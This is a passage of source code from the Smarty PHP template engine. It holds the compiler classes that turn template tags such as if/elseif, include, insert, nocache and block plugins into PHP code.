                $assignAttr[][ 'var' ] = $parameter[ 'if condition' ][ 'var' ][ 'var' ];
                $_output .= $assignCompiler->compile(
                    $assignAttr,
                    $compiler,
                    array('smarty_internal_index' => $parameter[ 'if condition' ][ 'var' ][ 'smarty_internal_index' ])
                );
            } else {
                $assignAttr[][ 'var' ] = $parameter[ 'if condition' ][ 'var' ];
                $_output .= $assignCompiler->compile($assignAttr, $compiler, array());
            }
            $_output .= "<?php if ({$prefixVar}) {?>";
            return $_output;
        } else {
            return "<?php if ({$parameter['if condition']}) {?>";
        }
    }
}

/**
 * Smarty Internal Plugin Compile Else Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Else extends Smarty_Internal_CompileBase
{
    /**
     * Compiles code for the {else} tag
     *
     * @param array                                 $args     array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler compiler object
     *
     * @return string compiled code
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler)
    {
        list($nesting, $compiler->tag_nocache) = $this->closeTag($compiler, array('if', 'elseif'));
        $this->openTag($compiler, 'else', array($nesting, $compiler->tag_nocache));
        return '<?php } else { ?>';
    }
}

/**
 * Smarty Internal Plugin Compile ElseIf Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Elseif extends Smarty_Internal_CompileBase
{
    /**
     * Compiles code for the {elseif} tag
     *
     * @param array                                 $args      array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler  compiler object
     * @param array                                 $parameter array with compilation parameter
     *
     * @return string compiled code
     * @throws \SmartyCompilerException
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler, $parameter)
    {
        // check and get attributes
        $_attr = $this->getAttributes($compiler, $args);
        list($nesting, $compiler->tag_nocache) = $this->closeTag($compiler, array('if', 'elseif'));
        if (!isset($parameter[ 'if condition' ])) {
            $compiler->trigger_template_error('missing elseif condition', null, true);
        }
        $assignCode = '';
        $var = '';
        if (is_array($parameter[ 'if condition' ])) {
            $condition_by_assign = true;
            if (is_array($parameter[ 'if condition' ][ 'var' ])) {
                $var = $parameter[ 'if condition' ][ 'var' ][ 'var' ];
            } else {
                $var = $parameter[ 'if condition' ][ 'var' ];
            }
            if ($compiler->nocache) {
                // create nocache var to make it know for further compiling
                $compiler->setNocacheInVariable($var);
            }
            $prefixVar = $compiler->getNewPrefixVariable();
            $assignCode = "<?php {$prefixVar} = {$parameter[ 'if condition' ][ 'value' ]};?>\n";
            $assignCompiler = new Smarty_Internal_Compile_Assign();
            $assignAttr = array();
            $assignAttr[][ 'value' ] = $prefixVar;
            if (is_array($parameter[ 'if condition' ][ 'var' ])) {
                $assignAttr[][ 'var' ] = $parameter[ 'if condition' ][ 'var' ][ 'var' ];
                $assignCode .= $assignCompiler->compile(
                    $assignAttr,
                    $compiler,
                    array('smarty_internal_index' => $parameter[ 'if condition' ][ 'var' ][ 'smarty_internal_index' ])
                );
            } else {
                $assignAttr[][ 'var' ] = $parameter[ 'if condition' ][ 'var' ];
                $assignCode .= $assignCompiler->compile($assignAttr, $compiler, array());
            }
        } else {
            $condition_by_assign = false;
        }
        $prefixCode = $compiler->getPrefixCode();
        if (empty($prefixCode)) {
            if ($condition_by_assign) {
                $this->openTag($compiler, 'elseif', array($nesting + 1, $compiler->tag_nocache));
                $_output = $compiler->appendCode("<?php } else {\n?>", $assignCode);
                return $compiler->appendCode($_output, "<?php if ({$prefixVar}) {?>");
            } else {
                $this->openTag($compiler, 'elseif', array($nesting, $compiler->tag_nocache));
                return "<?php } elseif ({$parameter['if condition']}) {?>";
            }
        } else {
            $_output = $compiler->appendCode("<?php } else {\n?>", $prefixCode);
            $this->openTag($compiler, 'elseif', array($nesting + 1, $compiler->tag_nocache));
            if ($condition_by_assign) {
                $_output = $compiler->appendCode($_output, $assignCode);
                return $compiler->appendCode($_output, "<?php if ({$prefixVar}) {?>");
            } else {
                return $compiler->appendCode($_output, "<?php if ({$parameter['if condition']}) {?>");
            }
        }
    }
}

/**
 * Smarty Internal Plugin Compile Ifclose Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Ifclose extends Smarty_Internal_CompileBase
{
    /**
     * Compiles code for the {/if} tag
     *
     * @param array                                 $args     array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler compiler object
     *
     * @return string compiled code
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler)
    {
        // must endblock be nocache?
        if ($compiler->nocache) {
            $compiler->tag_nocache = true;
        }
        list($nesting, $compiler->nocache) = $this->closeTag($compiler, array('if', 'else', 'elseif'));
        $tmp = '';
        for ($i = 0; $i < $nesting; $i++) {
            $tmp .= '}';
        }
        return "<?php {$tmp}?>";
    }
}
<?php
/**
 * Smarty Internal Plugin Compile Include
 * Compiles the {include} tag
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile Include Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Include extends Smarty_Internal_CompileBase
{
    /**
     * caching mode to create nocache code but no cache file
     */
    const CACHING_NOCACHE_CODE = 9999;

    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $required_attributes = array('file');

    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $shorttag_order = array('file');

    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $option_flags = array('nocache', 'inline', 'caching');

    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $optional_attributes = array('_any');

    /**
     * Valid scope names
     *
     * @var array
     */
    public $valid_scopes = array(
        'parent' => Smarty::SCOPE_PARENT, 'root' => Smarty::SCOPE_ROOT,
        'global' => Smarty::SCOPE_GLOBAL, 'tpl_root' => Smarty::SCOPE_TPL_ROOT,
        'smarty' => Smarty::SCOPE_SMARTY
    );

    /**
     * Compiles code for the {include} tag
     *
     * @param array                                  $args     array with attributes from parser
     * @param Smarty_Internal_SmartyTemplateCompiler $compiler compiler object
     *
     * @return string
     * @throws \Exception
     * @throws \SmartyCompilerException
     * @throws \SmartyException
     */
    public function compile($args, Smarty_Internal_SmartyTemplateCompiler $compiler)
    {
        $uid = $t_hash = null;
        // check and get attributes
        $_attr = $this->getAttributes($compiler, $args);
        $fullResourceName = $source_resource = $_attr[ 'file' ];
        $variable_template = false;
        $cache_tpl = false;
        // parse resource_name
        if (preg_match('/^([\'"])(([A-Za-z0-9_\-]{2,})[:])?(([^$()]+)|(.+))\1$/', $source_resource, $match)) {
            $type = !empty($match[ 3 ]) ? $match[ 3 ] : $compiler->template->smarty->default_resource_type;
            $name = !empty($match[ 5 ]) ? $match[ 5 ] : $match[ 6 ];
            $handler = Smarty_Resource::load($compiler->smarty, $type);
            if ($handler->recompiled || $handler->uncompiled) {
                $variable_template = true;
            }
            if (!$variable_template) {
                if ($type !== 'string') {
                    $fullResourceName = "{$type}:{$name}";
                    $compiled = $compiler->parent_compiler->template->compiled;
                    if (isset($compiled->includes[ $fullResourceName ])) {
                        $compiled->includes[ $fullResourceName ]++;
                        $cache_tpl = true;
                    } else {
                        if ("{$compiler->template->source->type}:{$compiler->template->source->name}" ==
                            $fullResourceName
                        ) {
                            // recursive call of current template
                            $compiled->includes[ $fullResourceName ] = 2;
                            $cache_tpl = true;
                        } else {
                            $compiled->includes[ $fullResourceName ] = 1;
                        }
                    }
                    $fullResourceName = $match[ 1 ] . $fullResourceName . $match[ 1 ];
                }
            }
            if (empty($match[ 5 ])) {
                $variable_template = true;
            }
        } else {
            $variable_template = true;
        }
        // scope setup
        $_scope = $compiler->convertScope($_attr, $this->valid_scopes);
        // set flag to cache subtemplate object when called within loop or template name is variable.
        if ($cache_tpl || $variable_template || $compiler->loopNesting > 0) {
            $_cache_tpl = 'true';
        } else {
            $_cache_tpl = 'false';
        }
        // assume caching is off
        $_caching = Smarty::CACHING_OFF;
        $call_nocache = $compiler->tag_nocache || $compiler->nocache;
        // caching was on and {include} is not in nocache mode
        if ($compiler->template->caching && !$compiler->nocache && !$compiler->tag_nocache) {
            $_caching = self::CACHING_NOCACHE_CODE;
        }
        // flag if included template code should be merged into caller
        $merge_compiled_includes = ($compiler->smarty->merge_compiled_includes || $_attr[ 'inline' ] === true) &&
                                   !$compiler->template->source->handler->recompiled;
        if ($merge_compiled_includes) {
            // variable template name ?
            if ($variable_template) {
                $merge_compiled_includes = false;
            }
            // variable compile_id?
            if (isset($_attr[ 'compile_id' ]) && $compiler->isVariable($_attr[ 'compile_id' ])) {
                $merge_compiled_includes = false;
            }
        }
        /*
        * if the {include} tag provides individual parameter for caching or compile_id
        * the subtemplate must not be included into the common cache file and is treated like
        * a call in nocache mode.
        *
        */
        if ($_attr[ 'nocache' ] !== true && $_attr[ 'caching' ]) {
            $_caching = $_new_caching = (int)$_attr[ 'caching' ];
            $call_nocache = true;
        } else {
            $_new_caching = Smarty::CACHING_LIFETIME_CURRENT;
        }
        if (isset($_attr[ 'cache_lifetime' ])) {
            $_cache_lifetime = $_attr[ 'cache_lifetime' ];
            $call_nocache = true;
            $_caching = $_new_caching;
        } else {
            $_cache_lifetime = '$_smarty_tpl->cache_lifetime';
        }
        if (isset($_attr[ 'cache_id' ])) {
            $_cache_id = $_attr[ 'cache_id' ];
            $call_nocache = true;
            $_caching = $_new_caching;
        } else {
            $_cache_id = '$_smarty_tpl->cache_id';
        }
        if (isset($_attr[ 'compile_id' ])) {
            $_compile_id = $_attr[ 'compile_id' ];
        } else {
            $_compile_id = '$_smarty_tpl->compile_id';
        }
        // if subtemplate will be called in nocache mode do not merge
        if ($compiler->template->caching && $call_nocache) {
            $merge_compiled_includes = false;
        }
        // assign attribute
        if (isset($_attr[ 'assign' ])) {
            // output will be stored in a smarty variable instead of being displayed
            if ($_assign = $compiler->getId($_attr[ 'assign' ])) {
                $_assign = "'{$_assign}'";
                if ($compiler->tag_nocache || $compiler->nocache || $call_nocache) {
                    // create nocache var to make it know for further compiling
                    $compiler->setNocacheInVariable($_attr[ 'assign' ]);
                }
            } else {
                $_assign = $_attr[ 'assign' ];
            }
        }
        $has_compiled_template = false;
        if ($merge_compiled_includes) {
            $c_id = isset($_attr[ 'compile_id' ]) ? $_attr[ 'compile_id' ] : $compiler->template->compile_id;
            // we must observe different compile_id and caching
            $t_hash = sha1($c_id . ($_caching ? '--caching' : '--nocaching'));
            $compiler->smarty->allow_ambiguous_resources = true;
            /* @var Smarty_Internal_Template $tpl */
            $tpl = new $compiler->smarty->template_class(
                trim($fullResourceName, '"\''),
                $compiler->smarty,
                $compiler->template,
                $compiler->template->cache_id,
                $c_id,
                $_caching
            );
            $uid = $tpl->source->type . $tpl->source->uid;
            if (!isset($compiler->parent_compiler->mergedSubTemplatesData[ $uid ][ $t_hash ])) {
                $has_compiled_template = $this->compileInlineTemplate($compiler, $tpl, $t_hash);
            } else {
                $has_compiled_template = true;
            }
            unset($tpl);
        }
        // delete {include} standard attributes
        unset($_attr[ 'file' ], $_attr[ 'assign' ], $_attr[ 'cache_id' ], $_attr[ 'compile_id' ], $_attr[ 'cache_lifetime' ], $_attr[ 'nocache' ], $_attr[ 'caching' ], $_attr[ 'scope' ], $_attr[ 'inline' ]);
        // remaining attributes must be assigned as smarty variable
        $_vars = 'array()';
        if (!empty($_attr)) {
            $_pairs = array();
            // create variables
            foreach ($_attr as $key => $value) {
                $_pairs[] = "'$key'=>$value";
            }
            $_vars = 'array(' . join(',', $_pairs) . ')';
        }
        $update_compile_id = $compiler->template->caching && !$compiler->tag_nocache && !$compiler->nocache &&
                             $_compile_id !== '$_smarty_tpl->compile_id';
        if ($has_compiled_template && !$call_nocache) {
            $_output = "<?php\n";
            if ($update_compile_id) {
                $_output .= $compiler->makeNocacheCode("\$_compile_id_save[] = \$_smarty_tpl->compile_id;\n\$_smarty_tpl->compile_id = {$_compile_id};\n");
            }
            if (!empty($_attr) && $_caching === 9999 && $compiler->template->caching) {
                $_vars_nc = "foreach ($_vars as \$ik => \$iv) {\n";
                $_vars_nc .= "\$_smarty_tpl->tpl_vars[\$ik] =  new Smarty_Variable(\$iv);\n";
                $_vars_nc .= "}\n";
                $_output .= substr($compiler->processNocacheCode('<?php ' . $_vars_nc . "?>\n", true), 6, -3);
            }
            if (isset($_assign)) {
                $_output .= "ob_start();\n";
            }
            $_output .= "\$_smarty_tpl->_subTemplateRender({$fullResourceName}, {$_cache_id}, {$_compile_id}, {$_caching}, {$_cache_lifetime}, {$_vars}, {$_scope}, {$_cache_tpl}, '{$compiler->parent_compiler->mergedSubTemplatesData[$uid][$t_hash]['uid']}', '{$compiler->parent_compiler->mergedSubTemplatesData[$uid][$t_hash]['func']}');\n";
            if (isset($_assign)) {
                $_output .= "\$_smarty_tpl->assign({$_assign}, ob_get_clean());\n";
            }
            if ($update_compile_id) {
                $_output .= $compiler->makeNocacheCode("\$_smarty_tpl->compile_id = array_pop(\$_compile_id_save);\n");
            }
            $_output .= "?>";
            return $_output;
        }
        if ($call_nocache) {
            $compiler->tag_nocache = true;
        }
        $_output = "<?php ";
        if ($update_compile_id) {
            $_output .= "\$_compile_id_save[] = \$_smarty_tpl->compile_id;\n\$_smarty_tpl->compile_id = {$_compile_id};\n";
        }
        // was there an assign attribute
        if (isset($_assign)) {
            $_output .= "ob_start();\n";
        }
        $_output .= "\$_smarty_tpl->_subTemplateRender({$fullResourceName}, $_cache_id, $_compile_id, $_caching, $_cache_lifetime, $_vars, $_scope, {$_cache_tpl});\n";
        if (isset($_assign)) {
            $_output .= "\$_smarty_tpl->assign({$_assign}, ob_get_clean());\n";
        }
        if ($update_compile_id) {
            $_output .= "\$_smarty_tpl->compile_id = array_pop(\$_compile_id_save);\n";
        }
        $_output .= "?>";
        return $_output;
    }

    /**
     * Compile inline sub template
     *
     * @param \Smarty_Internal_SmartyTemplateCompiler $compiler
     * @param \Smarty_Internal_Template               $tpl
     * @param string                                  $t_hash
     *
     * @return bool
     * @throws \Exception
     * @throws \SmartyException
     */
    public function compileInlineTemplate(
        Smarty_Internal_SmartyTemplateCompiler $compiler,
        Smarty_Internal_Template $tpl,
        $t_hash
    ) {
        $uid = $tpl->source->type . $tpl->source->uid;
        if (!($tpl->source->handler->uncompiled) && $tpl->source->exists) {
            $compiler->parent_compiler->mergedSubTemplatesData[ $uid ][ $t_hash ][ 'uid' ] = $tpl->source->uid;
            if (isset($compiler->template->inheritance)) {
                $tpl->inheritance = clone $compiler->template->inheritance;
            }
            $tpl->compiled = new Smarty_Template_Compiled();
            $tpl->compiled->nocache_hash = $compiler->parent_compiler->template->compiled->nocache_hash;
            $tpl->loadCompiler();
            // save unique function name
            $compiler->parent_compiler->mergedSubTemplatesData[ $uid ][ $t_hash ][ 'func' ] =
            $tpl->compiled->unifunc = 'content_' . str_replace(array('.', ','), '_', uniqid('', true));
            // make sure whole chain gets compiled
            $tpl->mustCompile = true;
            $compiler->parent_compiler->mergedSubTemplatesData[ $uid ][ $t_hash ][ 'nocache_hash' ] =
                $tpl->compiled->nocache_hash;
            if ($tpl->source->type === 'file') {
                $sourceInfo = $tpl->source->filepath;
            } else {
                $basename = $tpl->source->handler->getBasename($tpl->source);
                $sourceInfo = $tpl->source->type . ':' .
                              ($basename ? $basename : $tpl->source->name);
            }
            // get compiled code
            $compiled_code = "<?php\n\n";
            $compiled_code .= $compiler->cStyleComment(" Start inline template \"{$sourceInfo}\" =============================") . "\n";
            $compiled_code .= "function {$tpl->compiled->unifunc} (Smarty_Internal_Template \$_smarty_tpl) {\n";
            $compiled_code .= "?>\n" . $tpl->compiler->compileTemplateSource($tpl, null, $compiler->parent_compiler);
            $compiled_code .= "<?php\n";
            $compiled_code .= "}\n?>\n";
            $compiled_code .= $tpl->compiler->postFilter($tpl->compiler->blockOrFunctionCode);
            $compiled_code .= "<?php\n\n";
            $compiled_code .= $compiler->cStyleComment(" End inline template \"{$sourceInfo}\" =============================") . "\n";
            $compiled_code .= '?>';
            unset($tpl->compiler);
            if ($tpl->compiled->has_nocache_code) {
                // replace nocache_hash
                $compiled_code =
                    str_replace(
                        "{$tpl->compiled->nocache_hash}",
                        $compiler->template->compiled->nocache_hash,
                        $compiled_code
                    );
                $compiler->template->compiled->has_nocache_code = true;
            }
            $compiler->parent_compiler->mergedSubTemplatesCode[ $tpl->compiled->unifunc ] = $compiled_code;
            return true;
        } else {
            return false;
        }
    }
}
<?php
/**
 * Smarty Internal Plugin Compile Insert
 * Compiles the {insert} tag
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile Insert Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Insert extends Smarty_Internal_CompileBase
{
    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $required_attributes = array('name');

    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $shorttag_order = array('name');

    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $optional_attributes = array('_any');

    /**
     * Compiles code for the {insert} tag
     *
     * @param array                                 $args     array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler compiler object
     *
     * @return string compiled code
     * @throws \SmartyCompilerException
     * @throws \SmartyException
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler)
    {
        // check and get attributes
        $_attr = $this->getAttributes($compiler, $args);
        $nocacheParam = $compiler->template->caching && ($compiler->tag_nocache || $compiler->nocache);
        if (!$nocacheParam) {
            // do not compile as nocache code
            $compiler->suppressNocacheProcessing = true;
        }
        $compiler->tag_nocache = true;
        $_smarty_tpl = $compiler->template;
        $_name = null;
        $_script = null;
        $_output = '<?php ';
        // save possible attributes
        eval('$_name = @' . $_attr[ 'name' ] . ';');
        if (isset($_attr[ 'assign' ])) {
            // output will be stored in a smarty variable instead of being displayed
            $_assign = $_attr[ 'assign' ];
            // create variable to make sure that the compiler knows about its nocache status
            $var = trim($_attr[ 'assign' ], '\'');
            if (isset($compiler->template->tpl_vars[ $var ])) {
                $compiler->template->tpl_vars[ $var ]->nocache = true;
            } else {
                $compiler->template->tpl_vars[ $var ] = new Smarty_Variable(null, true);
            }
        }
        if (isset($_attr[ 'script' ])) {
            // script which must be included
            $_function = "smarty_insert_{$_name}";
            $_smarty_tpl = $compiler->template;
            $_filepath = false;
            eval('$_script = @' . $_attr[ 'script' ] . ';');
            if (!isset($compiler->smarty->security_policy) && file_exists($_script)) {
                $_filepath = $_script;
            } else {
                if (isset($compiler->smarty->security_policy)) {
                    $_dir = $compiler->smarty->security_policy->trusted_dir;
                } else {
                    $_dir = null;
                }
                if (!empty($_dir)) {
                    foreach ((array)$_dir as $_script_dir) {
                        $_script_dir = rtrim($_script_dir ?? '', '/\\') . DIRECTORY_SEPARATOR;
                        if (file_exists($_script_dir . $_script)) {
                            $_filepath = $_script_dir . $_script;
                            break;
                        }
                    }
                }
            }
            if ($_filepath === false) {
                $compiler->trigger_template_error("{insert} missing script file '{$_script}'", null, true);
            }
            // code for script file loading
            $_output .= "require_once '{$_filepath}' ;";
            include_once $_filepath;
            if (!is_callable($_function)) {
                $compiler->trigger_template_error(
                    " {insert} function '{$_function}' is not callable in script file '{$_script}'",
                    null,
                    true
                );
            }
        } else {
            $_filepath = 'null';
            $_function = "insert_{$_name}";
            // function in PHP script ?
            if (!is_callable($_function)) {
                // try plugin
                if (!$_function = $compiler->getPlugin($_name, 'insert')) {
                    $compiler->trigger_template_error(
                        "{insert} no function or plugin found for '{$_name}'",
                        null,
                        true
                    );
                }
            }
        }
        // delete {insert} standard attributes
        unset($_attr[ 'name' ], $_attr[ 'assign' ], $_attr[ 'script' ], $_attr[ 'nocache' ]);
        // convert attributes into parameter array string
        $_paramsArray = array();
        foreach ($_attr as $_key => $_value) {
            $_paramsArray[] = "'$_key' => $_value";
        }
        $_params = 'array(' . implode(", ", $_paramsArray) . ')';
        // call insert
        if (isset($_assign)) {
            if ($_smarty_tpl->caching && !$nocacheParam) {
                $_output .= "echo Smarty_Internal_Nocache_Insert::compile ('{$_function}',{$_params}, \$_smarty_tpl, '{$_filepath}',{$_assign});?>";
            } else {
                $_output .= "\$_smarty_tpl->assign({$_assign} , {$_function} ({$_params},\$_smarty_tpl), true);?>";
            }
        } else {
            if ($_smarty_tpl->caching && !$nocacheParam) {
                $_output .= "echo Smarty_Internal_Nocache_Insert::compile ('{$_function}',{$_params}, \$_smarty_tpl, '{$_filepath}');?>";
            } else {
                $_output .= "echo {$_function}({$_params},\$_smarty_tpl);?>";
            }
        }
        $compiler->template->compiled->has_nocache_code = true;
        return $_output;
    }
}
<?php
/**
 * Smarty Internal Plugin Compile Ldelim
 * Compiles the {ldelim} tag
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile Ldelim Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Ldelim extends Smarty_Internal_CompileBase
{
    /**
     * Compiles code for the {ldelim} tag
     * This tag does output the left delimiter
     *
     * @param array                                 $args     array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler compiler object
     *
     * @return string compiled code
     * @throws \SmartyCompilerException
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler)
    {
        $_attr = $this->getAttributes($compiler, $args);
        if ($_attr[ 'nocache' ] === true) {
            $compiler->trigger_template_error('nocache option not allowed', null, true);
        }
        return $compiler->smarty->left_delimiter;
    }
}
<?php
/**
 * Smarty Internal Plugin Compile Make_Nocache
 * Compiles the {make_nocache} tag
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile Make_Nocache Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Make_Nocache extends Smarty_Internal_CompileBase
{
    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $option_flags = array();

    /**
     * Array of names of required attribute required by tag
     *
     * @var array
     */
    public $required_attributes = array('var');

    /**
     * Shorttag attribute order defined by its names
     *
     * @var array
     */
    public $shorttag_order = array('var');

    /**
     * Compiles code for the {make_nocache} tag
     *
     * @param array                                 $args     array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler compiler object
     *
     * @return string compiled code
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler)
    {
        // check and get attributes
        $_attr = $this->getAttributes($compiler, $args);
        if ($compiler->template->caching) {
            $output = "<?php \$_smarty_tpl->smarty->ext->_make_nocache->save(\$_smarty_tpl, {$_attr[ 'var' ]});\n?>\n";
            $compiler->template->compiled->has_nocache_code = true;
            $compiler->suppressNocacheProcessing = true;
            return $output;
        } else {
            return true;
        }
    }
}
<?php
/**
 * Smarty Internal Plugin Compile Nocache
 * Compiles the {nocache} {/nocache} tags.
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile Nocache Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Nocache extends Smarty_Internal_CompileBase
{
    /**
     * Array of names of valid option flags
     *
     * @var array
     */
    public $option_flags = array();

    /**
     * Compiles code for the {nocache} tag
     * This tag does not generate compiled output. It only sets a compiler flag.
     *
     * @param array                                 $args     array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler compiler object
     *
     * @return bool
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler)
    {
        $_attr = $this->getAttributes($compiler, $args);
        $this->openTag($compiler, 'nocache', array($compiler->nocache));
        // enter nocache mode
        $compiler->nocache = true;
        // this tag does not return compiled code
        $compiler->has_code = false;
        return true;
    }
}

/**
 * Smarty Internal Plugin Compile Nocacheclose Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Nocacheclose extends Smarty_Internal_CompileBase
{
    /**
     * Compiles code for the {/nocache} tag
     * This tag does not generate compiled output. It only sets a compiler flag.
     *
     * @param array                                 $args     array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler compiler object
     *
     * @return bool
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler)
    {
        $_attr = $this->getAttributes($compiler, $args);
        // leave nocache mode
        list($compiler->nocache) = $this->closeTag($compiler, array('nocache'));
        // this tag does not return compiled code
        $compiler->has_code = false;
        return true;
    }
}
<?php
/**
 * This file is part of Smarty.
 *
 * (c) 2015 Uwe Tews
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

/**
 * Smarty Internal Plugin Compile Parent Class
 *
 * @author Uwe Tews <uwe.tews@googlemail.com>
 */
class Smarty_Internal_Compile_Parent extends Smarty_Internal_Compile_Child
{
    /**
     * Tag name
     *
     * @var string
     */
    public $tag = 'parent';

    /**
     * Block type
     *
     * @var string
     */
    public $blockType = 'Parent';
}
<?php
/**
 * Smarty Internal Plugin Compile Block Plugin
 * Compiles code for the execution of block plugin
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile Block Plugin Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Private_Block_Plugin extends Smarty_Internal_CompileBase
{
    /**
     * Attribute definition: Overwrites base class.
     *
     * @var array
     * @see Smarty_Internal_CompileBase
     */
    public $optional_attributes = array('_any');

    /**
     * nesting level
     *
     * @var int
     */
    public $nesting = 0;

    /**
     * Compiles code for the execution of block plugin
     *
     * @param array                                 $args      array with attributes from parser
     * @param \Smarty_Internal_TemplateCompilerBase $compiler  compiler object
     * @param array                                 $parameter array with compilation parameter
     * @param string                                $tag       name of block plugin
     * @param string                                $function  PHP function name
     *
     * @return string compiled code
     * @throws \SmartyCompilerException
     * @throws \SmartyException
     */
    public function compile($args, Smarty_Internal_TemplateCompilerBase $compiler, $parameter, $tag, $function = null)
    {
        if (!isset($tag[ 5 ]) || substr($tag, -5) !== 'close') {
            // opening tag of block plugin
            // check and get attributes
            $_attr = $this->getAttributes($compiler, $args);
            $this->nesting++;
            unset($_attr[ 'nocache' ]);
            list($callback, $_paramsArray, $callable) = $this->setup($compiler, $_attr, $tag, $function);
            $_params = 'array(' . implode(',', $_paramsArray) . ')';
            // compile code
            $output = "<?php ";
            if (is_array($callback)) {
                $output .= "\$_block_plugin{$this->nesting} = isset({$callback[0]}) ? {$callback[0]} : null;\n";
                $callback = "\$_block_plugin{$this->nesting}{$callback[1]}";
            }
            if (isset($callable)) {
                $output .= "if (!is_callable({$callable})) {\nthrow new SmartyException('block tag \'{$tag}\' not callable or registered');\n}\n";
            }
            $output .= "\$_smarty_tpl->smarty->_cache['_tag_stack'][] = array('{$tag}', {$_params});\n";
            $output .= "\$_block_repeat=true;\necho {$callback}({$_params}, null, \$_smarty_tpl, \$_block_repeat);\nwhile (\$_block_repeat) {\nob_start();?>";
            $this->openTag($compiler, $tag, array($_params, $compiler->nocache, $callback));
            // maybe nocache because of nocache variables or nocache plugin
            $compiler->nocache = $compiler->nocache | $compiler->tag_nocache;
        } else {
            // must endblock be nocache?
            if ($compiler->nocache) {
                $compiler->tag_nocache = true;
            }
            // closing tag of block plugin, restore nocache
            list($_params, $compiler->nocache, $callback) = $this->closeTag($compiler, substr($tag, 0, -5));
            // compile code
            if (!isset($parameter[ 'modifier_list' ])) {
                $mod_pre = $mod_post = $mod_content = '';
                $mod_content2 = 'ob_get_clean()';
            } else {
                $mod_content2 = "\$_block_content{$this->nesting}";
                $mod_content = "\$_block_content{$this->nesting} = ob_get_clean();\n";
                $mod_pre = "ob_start();\n";
                $mod_post = 'echo ' . $compiler->compileTag(
                        'private_modifier',
                        array(),
                        array(
                            'modifierlist' => $parameter[ 'modifier_list' ],
                            'value'        => 'ob_get_clean()'
                        )
                    ) . ";\n";
            }
            $output =
                "<?php {$mod_content}\$_block_repeat=false;\n{$mod_pre}echo {$callback}({$_params}, {$mod_content2}, \$_smarty_tpl, \$_block_repeat);\n{$mod_post}}\n";
            $output .= 'array_pop($_smarty_tpl->smarty->_cache[\'_tag_stack\']);?>';
        }
        return $output;
    }

    /**
     * Setup callback and parameter array
     *
     * @param \Smarty_Internal_TemplateCompilerBase $compiler
     * @param array                                 $_attr attributes
     * @param string                                $tag
     * @param string                                $function
     *
     * @return array
     */
    public function setup(Smarty_Internal_TemplateCompilerBase $compiler, $_attr, $tag, $function)
    {
        $_paramsArray = array();
        foreach ($_attr as $_key => $_value) {
            if (is_int($_key)) {
                $_paramsArray[] = "$_key=>$_value";
            } else {
                $_paramsArray[] = "'$_key'=>$_value";
            }
        }
        return array($function, $_paramsArray, null);
    }
}
<?php
/**
 * Smarty Internal Plugin Compile ForeachSection
 * Shared methods for {foreach} {section} tags
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile ForeachSection Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Compile_Private_ForeachSection extends Smarty_Internal_CompileBase
{
    /**
     * Name of this tag
     *
     * @var string
     */
    public $tagName = '';

    /**
     * Valid properties of $smarty.xxx variable
     *
     * @var array
     */
    public $nameProperties = array();

    /**
     * {section} tag has no item properties
     *
     * @var array
     */
    public $itemProperties = null;

    /**
     * {section} tag has always name attribute
     *
     * @var bool
     */
